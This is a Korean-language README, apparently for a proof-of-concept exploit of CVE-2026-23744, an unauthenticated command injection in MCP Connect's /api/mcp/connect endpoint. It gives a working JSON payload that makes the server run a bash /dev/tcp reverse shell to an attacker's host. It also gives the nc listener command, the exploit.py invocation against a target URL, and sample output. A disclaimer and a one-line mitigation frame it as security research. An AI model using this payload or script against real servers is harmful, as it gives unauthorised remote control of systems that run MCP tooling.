
# CVE-2026-23744 개념 증명 익스플로잇 MCP Connect의 인증되지 않은 명령 주입 취약점으로, 원격 코드 실행 및 리버스 셸로 이어집니다.
⚠️ 면책 조항: 이 저장소는 교육 및 보안 연구 목적으로만 제공됩니다. 명시적 승인 없이 시스템에 이 익스플로잇을 사용하는 것은 불법입니다. 저자는 이 코드의 오용에 대해 책임을 지지 않습니다.
이 취약점은 /api/mcp/connect 엔드포인트에 존재하며, 인증되지 않은 공격자가 악성 구성을 가진 임의의 MCP(Model Context Protocol) 서버를 등록할 수 있게 합니다. command 필드와 해당 args에 대한 검증이나 삭제가 없기 때문에, 웹 프로세스의 권한으로 서버에서 직접 실행되는 운영 체제 명령을 주입할 수 있습니다.
이는 원격 코드 실행(RCE) 으로 이어지며, 손상된 시스템에서 리버스 셸을 획득하는 데 악용될 수 있습니다.
| 필드 | 세부 사항 |
|---|---|
| 유형 | Remote Code Execution (RCE) |
| 벡터 | 네트워크 (인증 없는 HTTP POST) |
| 엔드포인트 | /api/mcp/connect |
| 심각도 | 🔴 치명적 |
| 인증 | 불필요 |
| 영향 | 서버 전체 제어 |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
서버는 이 구성을 처리하고 제공된 인수와 함께 bash 명령을 호출하여 공격자에게 역방향 TCP 연결을 설정합니다.
pip install requests termcolor
python3 exploit.py -l <TU_IP> -u <URL_OBJETIVO>
| 매개변수 | 설명 | 예시 |
|---|---|---|
-l | 사용자 IP (셸을 수신할 위치) | 192.168.1.50 |
-u | 대상의 기본 URL | https://victim.com |
터미널 1 — 리스너:
nc -nlvp 443
터미널 2 — 익스플로잇:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
요청이 전송되면 443 포트의 리스너가 손상된 서버의 대화형 셸과 함께 역방향 연결을 수신합니다.
/api/mcp/connect의 body에 있는 모든 필드를 처리하기 전에 검증하고 삭제합니다..
├── exploit.py # Script principal del exploit
└── README.md # Este archivo
공격적 보안 연구 목적으로 Jorge Arana Fedriani가 개발했습니다.